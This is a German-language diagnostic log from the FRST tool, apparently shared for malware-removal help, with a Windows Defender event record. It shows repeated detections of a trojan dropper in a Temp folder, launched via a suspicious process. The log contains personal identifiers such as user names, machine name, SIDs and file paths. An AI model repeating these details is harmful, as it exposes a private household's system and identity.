==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) ========

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ==================

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) =================

==================== Internet Explorer (Nicht auf der Ausnahmeliste) ==========

HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.de/
HKU\S-1-5-21-1646496009-4099916810-2609688387-1004\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://www.bing.com/
BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX64\Microsoft Office\Office16\OCHelper.dll [2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
BHO-x32: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\root\Office16\OCHelper.dll [2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_101\bin\ssv.dll [2017-11-13] (Oracle America, Inc. -> Oracle Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_101\bin\jp2ssv.dll [2017-11-13] (Oracle America, Inc. -> Oracle Corporation)
Handler-x32: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
Handler-x32: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
Handler-x32: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-02-02] (Microsoft Corporation -> Microsoft Corporation)

==================== Hosts Inhalt: =========================

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)

2016-07-16 12:47 - 2016-07-16 12:45 - 000000824 _____ C:\WINDOWS\system32\drivers\etc\hosts

==================== Andere Bereiche ===========================

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)

HKLM\System\CurrentControlSet\Control\Session Manager\Environment\\Path -> C:\ProgramData\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\;C:\Program Files (x86)\Windows Live\Shared
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\Control Panel\Desktop\\Wallpaper -> D:\Handy 2.1.2020\Sreenshots\IMG_20190304_202613.jpg
HKU\S-1-5-21-1646496009-4099916810-2609688387-1004\Control Panel\Desktop\\Wallpaper -> C:\Users\nikor\AppData\Local\Microsoft\Windows\Themes\RoamedThemeFiles\DesktopBackground\kinder.jpg
DNS Servers: 192.168.28.1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer => (SmartScreenEnabled: RequireAdmin)
 ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [TCP Query User{BE41A56A-FE4C-40DE-AC84-2FA55AF0CE30}C:\program files\hp\hp officejet pro 6960\bin\hpnetworkcommunicatorcom.exe] => (Allow) C:\program files\hp\hp officejet pro 6960\bin\hpnetworkcommunicatorcom.exe (HP Inc -> HP Inc.)
FirewallRules: [UDP Query User{E61A396D-09C4-4757-A4FF-06AB07F87894}C:\program files\hp\hp officejet pro 6960\bin\hpnetworkcommunicatorcom.exe] => (Allow) C:\program files\hp\hp officejet pro 6960\bin\hpnetworkcommunicatorcom.exe (HP Inc -> HP Inc.)
FirewallRules: [TCP Query User{A06B3D51-0009-4010-9E05-B1499C1C63A7}C:\program files (x86)\google\chrome\application\chrome.exe] => (Allow) C:\program files (x86)\google\chrome\application\chrome.exe (Google LLC -> Google LLC)
FirewallRules: [UDP Query User{A660FB1D-8029-4C62-8BD5-262B78804BF3}C:\program files (x86)\google\chrome\application\chrome.exe] => (Allow) C:\program files (x86)\google\chrome\application\chrome.exe (Google LLC -> Google LLC)
FirewallRules: [TCP Query User{90C3C934-5300-479D-AEF8-110A1464AF0F}C:\program files\hp\hp officejet pro 6960\bin\hpnetworkcommunicatorcom.exe] => (Allow) C:\program files\hp\hp officejet pro 6960\bin\hpnetworkcommunicatorcom.exe (HP Inc -> HP Inc.)
FirewallRules: [UDP Query User{919ACCE8-9673-49F1-9861-6D9E919E28E8}C:\program files\hp\hp officejet pro 6960\bin\hpnetworkcommunicatorcom.exe] => (Allow) C:\program files\hp\hp officejet pro 6960\bin\hpnetworkcommunicatorcom.exe (HP Inc -> HP Inc.)
FirewallRules: [{6D02B7D7-2435-42AB-B447-8A9D58B98E0B}] => (Allow) C:\Program Files (x86)\Microsoft Office\root\Office16\Lync.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{3F253F55-2F5F-4531-9503-3E5F4B1BB230}] => (Allow) C:\Program Files (x86)\Microsoft Office\root\Office16\Lync.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{19C077E8-6ECC-4978-84C2-4D0B4B5934DA}] => (Allow) C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{0324B58E-9D33-4BBD-8687-A175C758B5C2}] => (Allow) C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [TCP Query User{063397B9-5F00-439F-B867-C0D49D657DAD}C:\program files (x86)\google\chrome\application\chrome.exe] => (Allow) C:\program files (x86)\google\chrome\application\chrome.exe (Google LLC -> Google LLC)
FirewallRules: [UDP Query User{B4E27215-D114-482B-99D4-5A8F4B552C9C}C:\program files (x86)\google\chrome\application\chrome.exe] => (Allow) C:\program files (x86)\google\chrome\application\chrome.exe (Google LLC -> Google LLC)
FirewallRules: [{E007C29B-0AAA-4BFE-BA37-A2B2DDB20D44}] => (Allow) C:\Users\nadin\AppData\Local\Temp\7zS4BB9\HPDiagnosticCoreUI.exe => Keine Datei
FirewallRules: [{5BBD9087-3E83-4E35-B708-19F84DC492E7}] => (Allow) C:\Users\nadin\AppData\Local\Temp\7zS4BB9\HPDiagnosticCoreUI.exe => Keine Datei
FirewallRules: [{4D8F5AA2-781D-42C4-AF84-752FB16E3E27}] => (Allow) C:\Users\nadin\Downloads\OJ6960_Full_WebPack_40.11.1150.exe (Hewlett Packard -> )
FirewallRules: [{8F1BEB7E-14DC-40EC-827B-D52DDDA0A066}] => (Allow) C:\Users\nadin\Downloads\OJ6960_Full_WebPack_40.11.1150.exe (Hewlett Packard -> )
FirewallRules: [{A304C415-7BF2-4CAC-8270-C0B579467888}] => (Allow) C:\Users\nadin\Downloads\OJ6960_Full_WebPack_40.11.1150.exe (Hewlett Packard -> )
FirewallRules: [{C4221A4F-9398-47D2-9723-286F620D40A0}] => (Allow) C:\Users\nadin\Downloads\OJ6960_Full_WebPack_40.11.1150.exe (Hewlett Packard -> )
FirewallRules: [TCP Query User{0B40FC8A-A1A4-415B-881E-5EA10B3299B1}C:\program files (x86)\hp\diagnostics\telemetrywatch\psdrtelemetrywatch.exe] => (Block) C:\program files (x86)\hp\diagnostics\telemetrywatch\psdrtelemetrywatch.exe => Keine Datei
FirewallRules: [UDP Query User{A9237D73-B7FC-47AF-B71F-2724972372B8}C:\program files (x86)\hp\diagnostics\telemetrywatch\psdrtelemetrywatch.exe] => (Block) C:\program files (x86)\hp\diagnostics\telemetrywatch\psdrtelemetrywatch.exe => Keine Datei
FirewallRules: [{9D116D2D-A6B3-4B32-979D-EBAFFFA74FAF}] => (Block) C:\Program Files (x86)\Avira\SoftwareUpdater\avirasoftwareupdatertoastnotificationsbridge.exe => Keine Datei
FirewallRules: [{7502275D-831A-4D07-868A-C026821F96CD}] => (Allow) C:\Program Files (x86)\Avira\SoftwareUpdater\avirasoftwareupdatertoastnotificationsbridge.exe => Keine Datei
FirewallRules: [{6957568C-357B-4CA6-B3E4-791670C1141B}] => (Allow) C:\Program Files (x86)\Avira\SoftwareUpdater\avirasoftwareupdatertoastnotificationsbridge.exe => Keine Datei
FirewallRules: [{7E275331-9433-4E37-BD4C-B3BAB71CC273}] => (Allow) C:\Users\nadin\AppData\Local\Temp\7zS75E9\HP.EasyStart.exe => Keine Datei
FirewallRules: [{6507C458-F170-4F13-8706-3A8526269E5E}] => (Allow) C:\Users\nadin\AppData\Local\Temp\7zS1441\HPDiagnosticCoreUI.exe => Keine Datei
FirewallRules: [{55087621-1D03-4538-9023-6BA3CE4E10B2}] => (Allow) C:\Users\nadin\AppData\Local\Temp\7zS1441\HPDiagnosticCoreUI.exe => Keine Datei
FirewallRules: [TCP Query User{AA95ADA4-F6D8-4314-8B54-131A6B4C68B0}C:\users\nadin\appdata\local\temp\7zs527c\enterprisedu.exe] => (Allow) C:\users\nadin\appdata\local\temp\7zs527c\enterprisedu.exe => Keine Datei
FirewallRules: [UDP Query User{6788EA11-CC42-4F6A-AC92-7314CC211811}C:\users\nadin\appdata\local\temp\7zs527c\enterprisedu.exe] => (Allow) C:\users\nadin\appdata\local\temp\7zs527c\enterprisedu.exe => Keine Datei
FirewallRules: [{9B78D977-87C5-4812-9043-33C3A92DA74A}] => (Allow) C:\Users\nadin\AppData\Local\Temp\7zS66CB\HP.EasyStart.exe => Keine Datei
FirewallRules: [{ED548359-91B0-4E4A-8DB6-D2B57B1D74C8}] => (Allow) C:\Users\nadin\AppData\Roaming\Zoom\bin\Zoom.exe (Zoom Video Communications, Inc. -> Zoom Video Communications, Inc.)
FirewallRules: [{30CA4131-201B-41C4-BD0B-0FE1F0394BD7}] => (Allow) C:\Users\nadin\AppData\Roaming\Zoom\bin\airhost.exe => Keine Datei
FirewallRules: [{32CF4C24-AB3B-47A9-97C4-557DB7E5AD7A}] => (Allow) C:\Users\nadin\AppData\Roaming\Zoom\bin\airhost.exe => Keine Datei
FirewallRules: [TCP Query User{9D05B63E-1095-4427-AEDC-040057A4285C}C:\users\nadin\appdata\local\temp\7zs3721\enterprisedu.exe] => (Allow) C:\users\nadin\appdata\local\temp\7zs3721\enterprisedu.exe => Keine Datei
FirewallRules: [UDP Query User{616271FB-3B7D-47B3-9130-B777A42DB3BB}C:\users\nadin\appdata\local\temp\7zs3721\enterprisedu.exe] => (Allow) C:\users\nadin\appdata\local\temp\7zs3721\enterprisedu.exe => Keine Datei
FirewallRules: [{36717492-AD69-4FBA-B739-698D53F798FD}] => (Allow) C:\Program Files (x86)\Microsoft Office\root\Office16\outlook.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [TCP Query User{B23CA899-F339-4382-A1A0-4443B88B2EEB}C:\users\nadin\appdata\local\temp\7zs5396\enterprisedu.exe] => (Allow) C:\users\nadin\appdata\local\temp\7zs5396\enterprisedu.exe (HP Inc -> HP Inc.)
FirewallRules: [UDP Query User{1424E22C-A148-4919-BCB2-F40809A04F54}C:\users\nadin\appdata\local\temp\7zs5396\enterprisedu.exe] => (Allow) C:\users\nadin\appdata\local\temp\7zs5396\enterprisedu.exe (HP Inc -> HP Inc.)
FirewallRules: [{B770719A-0221-4AC9-A118-80EFFB321E45}] => (Allow) C:\Program Files\HP\HP OfficeJet Pro 6960\bin\FaxApplications.exe (HP Inc -> HP Inc.)
FirewallRules: [{5725CE2E-F3FB-4E13-93FB-482B34FDB14D}] => (Allow) C:\Program Files\HP\HP OfficeJet Pro 6960\bin\DigitalWizards.exe (HP Inc -> HP Inc.)
FirewallRules: [{27F8ED54-68BF-408D-8E02-5E9BBD9A3E67}] => (Allow) C:\Program Files\HP\HP OfficeJet Pro 6960\bin\SendAFax.exe (HP Inc -> HP Inc.)
FirewallRules: [{60A26FF1-8D33-4723-94AF-7148E52B47CD}] => (Allow) C:\Program Files\HP\HP OfficeJet Pro 6960\bin\FaxPrinterUtility.exe (HP Inc -> HP Inc.)
FirewallRules: [{EB1F7DCE-EB1A-4853-B618-93F42B9EA673}] => (Allow) C:\Program Files\HP\HP OfficeJet Pro 6960\Bin\DeviceSetup.exe (HP Inc -> HP Inc.)
FirewallRules: [{EF9F5EF6-CA13-4BE0-ACA4-7F6FA2B44389}] => (Allow) LPort=5357
FirewallRules: [{1820E801-F19A-4FCD-BF8B-234CAF758500}] => (Allow) C:\Program Files\HP\HP OfficeJet Pro 6960\Bin\HPNetworkCommunicatorCom.exe (HP Inc -> HP Inc.)
FirewallRules: [{DE1F3C4D-7531-40F3-B320-82AE5C3509CE}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.68.96.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.)
FirewallRules: [{E9B2B6C1-3D22-42AC-90CF-5CF2904F9EEB}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.68.96.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.)
FirewallRules: [{2018B683-CD23-4E40-B881-BD0F9CC28BA8}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.68.96.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.)
FirewallRules: [{7FA624E6-C0A2-46C7-B35F-9AA2F7F3CC32}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.68.96.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.)
FirewallRules: [{D582646F-C1DC-4757-AC1A-EE11D85879D4}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google LLC -> Google LLC)

==================== Wiederherstellungspunkte =========================

Überprüfen Sie den "VSS" Dienst


==================== Fehlerhafte Geräte im Gerätemanager ============


==================== Fehlereinträge in der Ereignisanzeige: ========================

Applikationsfehler:
==================
Error: (02/08/2021 08:28:16 PM) (Source: ESENT) (EventID: 455) (User: )
Description: svchost (15056,R,98) TILEREPOSITORYS-1-5-18: Fehler -1023 (0xfffffc01) beim Öffnen von Protokolldatei C:\WINDOWS\system32\config\systemprofile\AppData\Local\TileDataLayer\Database\EDB.log.

Error: (02/08/2021 08:09:28 PM) (Source: ESENT) (EventID: 455) (User: )
Description: svchost (12948,R,98) TILEREPOSITORYS-1-5-18: Fehler -1023 (0xfffffc01) beim Öffnen von Protokolldatei C:\WINDOWS\system32\config\systemprofile\AppData\Local\TileDataLayer\Database\EDB.log.

Error: (02/07/2021 09:48:58 PM) (Source: ESENT) (EventID: 455) (User: )
Description: svchost (7580,R,98) TILEREPOSITORYS-1-5-18: Fehler -1023 (0xfffffc01) beim Öffnen von Protokolldatei C:\WINDOWS\system32\config\systemprofile\AppData\Local\TileDataLayer\Database\EDB.log.

Error: (02/07/2021 09:26:47 PM) (Source: ESENT) (EventID: 455) (User: )
Description: svchost (7356,R,98) TILEREPOSITORYS-1-5-18: Fehler -1023 (0xfffffc01) beim Öffnen von Protokolldatei C:\WINDOWS\system32\config\systemprofile\AppData\Local\TileDataLayer\Database\EDB.log.

Error: (02/07/2021 09:17:09 PM) (Source: ESENT) (EventID: 455) (User: )
Description: svchost (15100,R,98) TILEREPOSITORYS-1-5-18: Fehler -1023 (0xfffffc01) beim Öffnen von Protokolldatei C:\WINDOWS\system32\config\systemprofile\AppData\Local\TileDataLayer\Database\EDB.log.

Error: (02/07/2021 08:59:37 PM) (Source: ESENT) (EventID: 455) (User: )
Description: svchost (9676,R,98) TILEREPOSITORYS-1-5-18: Fehler -1023 (0xfffffc01) beim Öffnen von Protokolldatei C:\WINDOWS\system32\config\systemprofile\AppData\Local\TileDataLayer\Database\EDB.log.

Error: (02/07/2021 08:41:30 PM) (Source: ESENT) (EventID: 455) (User: )
Description: svchost (11260,R,98) TILEREPOSITORYS-1-5-18: Fehler -1023 (0xfffffc01) beim Öffnen von Protokolldatei C:\WINDOWS\system32\config\systemprofile\AppData\Local\TileDataLayer\Database\EDB.log.

Error: (02/07/2021 08:25:23 PM) (Source: ESENT) (EventID: 455) (User: )
Description: svchost (2444,R,98) TILEREPOSITORYS-1-5-18: Fehler -1023 (0xfffffc01) beim Öffnen von Protokolldatei C:\WINDOWS\system32\config\systemprofile\AppData\Local\TileDataLayer\Database\EDB.log.


Systemfehler:
=============
Error: (02/08/2021 08:05:20 PM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-1E2G5B4)
Description: Der Server "Microsoft.SkypeApp_15.68.96.0_x86__kzf8qxf38zg5c!App.AppXtwmqn4em5r5dpafgj4t4yyxgjfe0hr50.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (02/08/2021 08:02:49 PM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-1E2G5B4)
Description: Der Server "Microsoft.SkypeApp_15.68.96.0_x86__kzf8qxf38zg5c!App.AppXtwmqn4em5r5dpafgj4t4yyxgjfe0hr50.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (02/07/2021 09:31:26 PM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-1E2G5B4)
Description: Der Server "Microsoft.SkypeApp_15.68.96.0_x86__kzf8qxf38zg5c!App.AppXtwmqn4em5r5dpafgj4t4yyxgjfe0hr50.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (02/07/2021 08:35:20 PM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-1E2G5B4)
Description: Der Server "Microsoft.SkypeApp_15.68.96.0_x86__kzf8qxf38zg5c!App.AppXtwmqn4em5r5dpafgj4t4yyxgjfe0hr50.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (02/07/2021 08:31:49 PM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-1E2G5B4)
Description: Der Server "{FD06603A-2BDF-4BB1-B7DF-5DC68F353601}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (02/07/2021 08:31:49 PM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-1E2G5B4)
Description: Der Server "{8AF1624E-BC88-47F2-A51E-7625DE95FE27}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (02/07/2021 08:31:49 PM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-1E2G5B4)
Description: Der Server "{EC7295B4-E5FC-4003-9197-249D822FB260}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (02/07/2021 08:15:18 PM) (Source: DCOM) (EventID: 10010) (User: DESKTOP-1E2G5B4)
Description: Der Server "Microsoft.SkypeApp_15.68.96.0_x86__kzf8qxf38zg5c!App.AppXtwmqn4em5r5dpafgj4t4yyxgjfe0hr50.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.


Windows Defender:
===================================
Date: 2021-02-08 20:03:23.530
Description: 
Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0
Name: TrojanDropper:Win64/Tnega!MSR
ID: 2147771646
Schweregrad: Schwerwiegend
Kategorie: Trojaner - Dropper
Pfad: file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: Konkret
Erkennungsquelle: Echtzeitschutz
Benutzer: DESKTOP-1E2G5B4\nadin
Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
Sicherheitsversion: AV: 1.331.452.0, AS: 1.331.452.0, NIS: 1.331.452.0
Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5

Date: 2021-02-07 20:35:56.580
Description: 
Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0
Name: TrojanDropper:Win64/Tnega!MSR
ID: 2147771646
Schweregrad: Schwerwiegend
Kategorie: Trojaner - Dropper
Pfad: file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: Konkret
Erkennungsquelle: Echtzeitschutz
Benutzer: DESKTOP-1E2G5B4\nadin
Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
Sicherheitsversion: AV: 1.331.452.0, AS: 1.331.452.0, NIS: 1.331.452.0
Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5

Date: 2021-02-07 20:11:20.261
Description: 
Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0
Name: TrojanDropper:Win64/Tnega!MSR
ID: 2147771646
Schweregrad: Schwerwiegend
Kategorie: Trojaner - Dropper
Pfad: file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: Konkret
Erkennungsquelle: Echtzeitschutz
Benutzer: DESKTOP-1E2G5B4\nadin
Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
Sicherheitsversion: AV: 1.331.288.0, AS: 1.331.288.0, NIS: 1.331.288.0
Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5

Date: 2021-02-04 17:46:18.116
Description: 
Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt.
Weitere Informationen:
https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0
Name: TrojanDropper:Win64/Tnega!MSR
ID: 2147771646
Schweregrad: Schwerwiegend
Kategorie: Trojaner - Dropper
Pfad: file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe
Erkennungsursprung: Lokaler Computer
Erkennungstype: Konkret
Erkennungsquelle: Echtzeitschutz
Benutzer: DESKTOP-1E2G5B4\nadin
Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
Sicherheitsversion: AV: 1.331.138.0, AS: 1.331.138.0, NIS: 1.331.138.0
Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5

Date: 2021-02-04 16:49:55.975
Description: 
Die Windows Defender Antivirus-Überprüfung wurde vor ihrem Abschluss beendet.
Überprüfungs-ID: {CCFC334A-AAB2-4242-B4F2-6A3C2148B6DA}
Überprüfungstyp: Antimalware
Überprüfungsparameter: Schnellüberprüfung
Benutzer: NT-AUTORITÄT\SYSTEM

CodeIntegrity:
===================================

Date: 2020-03-30 17:56:15.578
Description: 
Code Integrity determined that a process (\Device\HarddiskVolume3\Program Files (x86)\Avira\Antivirus\AviraSecurityCenterAgent.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Avira\Antivirus\libcurl.dll that did not meet the Custom 3 / Antimalware signing level requirements.

Date: 2020-02-20 14:04:46.648
Description: 
Code Integrity determined that a process (\Device\HarddiskVolume3\Program Files (x86)\Avira\Antivirus\AviraSecurityCenterAgent.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Avira\Antivirus\libcurl.dll that did not meet the Custom 3 / Antimalware signing level requirements.

Date: 2020-01-08 16:51:28.071
Description: 
Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\FlightSettings.dll because the set of per-page image hashes could not be found on the system.

Date: 2020-01-08 16:51:28.061
Description: 
Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\FlightSettings.dll because the set of per-page image hashes could not be found on the system.

Date: 2020-01-08 16:51:27.930
Description: 
Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\FlightSettings.dll because the set of per-page image hashes could not be found on the system.

Date: 2020-01-08 16:51:27.920
Description: 
Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\FlightSettings.dll because the set of per-page image hashes could not be found on the system.

Date: 2020-01-08 16:51:27.908
Description: 
Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\dsreg.dll because the set of per-page image hashes could not be found on the system.

Date: 2020-01-08 16:51:27.896
Description: 
Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\dsreg.dll because the set of per-page image hashes could not be found on the system.

==================== Speicherinformationen =========================== 

BIOS: Microsoft Corporation 109.3192.768 03.24.2020
Hauptplatine: Microsoft Corporation Surface Pro 4
Prozessor: Intel(R) Core(TM) i5-6300U CPU @ 2.40GHz
Prozentuale Nutzung des RAM: 91%
Installierter physikalischer RAM: 4017.54 MB
Verfügbarer physikalischer RAM: 355.82 MB
Summe virtueller Speicher: 7985.54 MB
Verfügbarer virtueller Speicher: 2910.52 MB

==================== Laufwerke ================================

Drive c: (Local Disk) (Fixed) (Total:117.15 GB) (Free:23.76 GB) NTFS

\\?\Volume{67b2fb16-f47b-41cb-b22b-0cdcb3fa2bd2}\ (Windows RE tools) (Fixed) (Total:1.71 GB) (Free:1.25 GB) NTFS
\\?\Volume{835e32e4-3fa0-4bb3-90b6-5a626d87b67b}\ (SYSTEM) (Fixed) (Total:0.25 GB) (Free:0.22 GB) FAT32

==================== MBR & Partitionstabelle ====================

==========================================================
Disk: 0 (Size: 119.2 GB) (Disk ID: C138C767)

Partition: GPT.

==================== Ende von Addition.txt =======================
         

- <Event xmlns="hxxp://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}" /> 
  <EventID>1116</EventID> 
  <Version>0</Version> 
  <Level>3</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2021-02-01T15:08:50.665904500Z" /> 
  <EventRecordID>5545</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="4748" ThreadID="4588" /> 
  <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> 
  <Computer>DESKTOP-1E2G5B4</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="Product Name">Windows Defender Antivirus</Data> 
  <Data Name="Product Version">4.18.2011.6</Data> 
  <Data Name="Detection ID">{1FD69844-3D8D-4FB0-9DF9-D4C16133789B}</Data> 
  <Data Name="Detection Time">2021-02-01T15:08:47.814Z</Data> 
  <Data Name="Unused" /> 
  <Data Name="Unused2" /> 
  <Data Name="Threat ID">2147771646</Data> 
  <Data Name="Threat Name">TrojanDropper:Win64/Tnega!MSR</Data> 
  <Data Name="Severity ID">5</Data> 
  <Data Name="Severity Name">Schwerwiegend</Data> 
  <Data Name="Category ID">37</Data> 
  <Data Name="Category Name">Trojaner - Dropper</Data> 
  <Data Name="FWLink">https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0</Data> 
  <Data Name="Status Code">1</Data> 
  <Data Name="Status Description" /> 
  <Data Name="State">1</Data> 
  <Data Name="Source ID">3</Data> 
  <Data Name="Source Name">Echtzeitschutz</Data> 
  <Data Name="Process Name">C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe</Data> 
  <Data Name="Detection User">DESKTOP-1E2G5B4\nadin</Data> 
  <Data Name="Unused3" /> 
  <Data Name="Path">file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe</Data> 
  <Data Name="Origin ID">1</Data> 
  <Data Name="Origin Name">Lokaler Computer</Data> 
  <Data Name="Execution ID">1</Data> 
  <Data Name="Execution Name">Angehalten</Data> 
  <Data Name="Type ID">0</Data> 
  <Data Name="Type Name">Konkret</Data> 
  <Data Name="Pre Execution Status">0</Data> 
  <Data Name="Action ID">9</Data> 
  <Data Name="Action Name">Nicht verfügbar</Data> 
  <Data Name="Unused4" /> 
  <Data Name="Error Code">0x00000000</Data> 
  <Data Name="Error Description">Der Vorgang wurde erfolgreich beendet.</Data> 
  <Data Name="Unused5" /> 
  <Data Name="Post Clean Status">0</Data> 
  <Data Name="Additional Actions ID">0</Data> 
  <Data Name="Additional Actions String">No additional actions required</Data> 
  <Data Name="Remediation User" /> 
  <Data Name="Unused6" /> 
  <Data Name="Security intelligence Version">AV: 1.329.3220.0, AS: 1.329.3220.0, NIS: 1.329.3220.0</Data> 
  <Data Name="Engine Version">AM: 1.1.17700.4, NIS: 1.1.17700.4</Data> 
  </EventData>
  </Event>
         

